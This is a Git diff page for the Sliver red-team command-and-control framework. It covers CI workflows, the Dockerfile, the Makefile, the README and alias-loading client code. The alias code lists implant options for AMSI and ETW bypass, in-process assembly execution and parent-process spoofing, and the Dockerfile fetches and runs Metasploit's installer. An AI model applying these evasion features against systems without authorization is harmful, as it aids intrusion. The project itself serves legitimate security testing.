Compare commits

..
Author SHA1 Message Date
moloch-- 1e8413a2fe merge master 2022-01-23 14:50:23 -06:00
moloch-- 336e944aee Merge branch 'stage' into winhttp2 2022-01-18 15:31:41 -06:00
moloch-- b0ff16aff9 Fix typo 2021-12-23 13:51:38 -06:00
moloch-- 18137f630b Merge branch 'stage' into winhttp2 2021-12-23 13:51:16 -06:00
moloch-- beab818baf implemented wininet 2021-12-23 12:58:59 -06:00
moloch-- 16a539807b wip: wininet 2021-12-23 12:31:03 -06:00
moloch-- d13a8a1e91 check for nil body 2021-12-23 12:28:49 -06:00
moloch-- 7ab136339e Convert to/from stdlib http request/responst 2021-12-23 10:22:13 -06:00
moloch-- 2e3c33689a Refactoring win pkg 2021-12-23 10:14:20 -06:00
moloch-- 8891c542b8 Fork of https://gitlab.com/mjwhitta/win/ 2021-12-23 09:51:42 -06:00
moloch-- bfe3d6dfb5 Better server side poll timeout defaults 2021-12-23 09:41:54 -06:00
moloch-- fb573bb122 Correctly convert request path 2021-12-23 08:54:39 -06:00
moloch-- f780f70318 Fix various build-time errors 2021-12-23 08:36:36 -06:00
moloch-- 12c6a57362 implemented configurable http drivers per platform 2021-12-23 08:03:48 -06:00
moloch-- afc8ccd61d initial winhttp support 2021-12-23 07:33:53 -06:00
moloch-- 5b3f1eeb7b wip: Initial winhttp support 2021-12-22 16:38:55 -06:00
4719 changed files with 224896 additions and 1880556 deletions

No files matched your search

-1
View File
@@ -1 +0,0 @@
* @BishopFox/red-team
-16
View File
@@ -1,16 +0,0 @@
# Basic set up for three package managers
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Maintain dependencies for go
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
+100 -104
View File
@@ -3,58 +3,54 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master, goreleaser]
branches: [master]
jobs:
linux-windows-build:
name: Linux & Windows Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Make
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v2
with:
name: linux
path: ./sliver-*
- name: Linux Artifacts
uses: actions/upload-artifact@v3
with:
name: linux
path: ./sliver-*
- name: Make Windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v3
with:
name: windows
path: ./sliver-*
- name: Windows Artifacts
uses: actions/upload-artifact@v2
with:
name: windows
path: ./sliver-*
macos-build:
name: MacOS Build
@@ -62,40 +58,38 @@ jobs:
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Mingw
run: brew install mingw-w64
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Mingw
run: brew install mingw-w64
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: Go Assets
run: ./go-assets.sh
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: Make AMD64
run: make macos
# - name: Make ARM64
# run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v3
with:
name: macos
path: ./sliver-*
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
with:
name: macos
path: ./sliver-*
tagged-release:
needs: [linux-windows-build, macos-build]
name: "Tagged Release"
@@ -104,52 +98,54 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./builds
- run: mkdir -p ./release && mkdir -p ./artifacts
- uses: actions/download-artifact@v2
with:
path: ./artifacts
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Release
run: mkdir -p ./release
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Linux
- name: Linux AMD64
run: |
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# Windows
- name: Windows AMD64
run: |
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS AMD64
- name: MacOS AMD64
run: |
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
# MacOS ARM64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
files: |
./release/*
+7 -7
View File
@@ -17,13 +17,13 @@ jobs:
steps:
# Setup go environment
- name: Go 1.19
uses: actions/setup-go@v3
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: "1.19.1"
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v2
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -55,14 +55,14 @@ jobs:
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v3
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
uses: github/codeql-action/init@v1
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
@@ -72,6 +72,6 @@ jobs:
make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2
uses: github/codeql-action/analyze@v1
env:
VERSION: ${{github.sha}}
+47 -49
View File
@@ -1,79 +1,77 @@
name: Build & Test
on:
push:
branches:
branches:
- test/*
pull_request:
branches:
- master
types:
- opened
- reopened
- synchronize
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 90
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make linux
- name: Make
run: make linux
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 90
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Mingw
run: brew install mingw-w64
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Mingw
run: brew install mingw-w64
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make macos
- name: Go Assets
run: ./go-assets.sh
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make
run: make macos
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
-2
View File
@@ -40,5 +40,3 @@ sliver-server-windows.zip
.glide/
.DS_Store
dist/
+20 -19
View File
@@ -1,4 +1,4 @@
FROM golang:1.19.2
FROM golang:1.17.6
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.19.2
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 3.19.4
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
ENV PROTOC_VER 3.17.1
ENV PROTOC_GEN_GO_VER v1.26.0
ENV GRPC_GO v1.1.0
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
#
# > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
@@ -52,10 +52,11 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all \
&& ./go-assets.sh
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
+19 -30
View File
@@ -3,9 +3,8 @@
#
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
@@ -23,16 +22,16 @@ GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 18
MIN_SUPPORTED_GO_MINOR_VERSION = 17
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
@@ -77,12 +76,8 @@ ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
endif
ENV += GOARCH=arm64
endif
ifeq ($(MAKECMDGOALS), linux)
@@ -94,9 +89,7 @@ ifeq ($(MAKECMDGOALS), linux)
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
endif
#
@@ -104,33 +97,28 @@ endif
#
.PHONY: default
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
.PHONY: linux
linux: clean validate-go-version
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux-arm64
linux-arm64: clean validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: windows
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
.PHONY: pb
pb:
@@ -161,4 +149,5 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server sliver-*.exe
+1 -5
View File
@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -40,10 +40,6 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+3 -27
View File
@@ -21,9 +21,7 @@ package assets
import (
"encoding/json"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
)
@@ -32,10 +30,8 @@ const (
)
var (
// DefaultArmoryPublicKey - The default public key for the armory
DefaultArmoryPublicKey string
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
@@ -43,12 +39,9 @@ var (
}
)
// ArmoryConfig - The armory config file
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
}
// GetArmoriesConfig - The parsed armory config file
@@ -66,22 +59,5 @@ func GetArmoriesConfig() []*ArmoryConfig {
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
if armoryConfig.AuthorizationCmd == "" {
return ""
}
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
if err != nil {
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
return ""
}
return string(out)
}
-6
View File
@@ -33,9 +33,6 @@ type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode"`
}
// LoadSettings - Load the client settings from disk
@@ -58,9 +55,6 @@ func defaultSettings() *ClientSettings {
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
VimMode: false,
}
}
+2 -2
View File
@@ -59,9 +59,9 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
con.PrintInfof("Alias '%s' already exists", manifest.Name)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
+30 -137
View File
@@ -28,16 +28,13 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
@@ -67,14 +64,12 @@ type loadedAlias struct {
Command *grumble.Command
}
// AliasFile - An OS/Arch specific file
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
// AliasManifest - The manifest for an alias, contains metadata
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
@@ -159,13 +154,10 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Help: helpMsg,
LongHelp: longHelpMsg,
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
@@ -178,15 +170,8 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("i", "in-process", false, "Run in the current sliver process")
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -245,27 +230,17 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
return
}
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
return
@@ -277,30 +252,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
} else {
extArgs = strings.Join(args, " ")
}
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processArgsStr := ctx.Flags.String("process-arguments")
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
processArgs := strings.Split(processArgsStr, " ")
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
processName, err = aliasManifest.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
@@ -310,36 +272,27 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
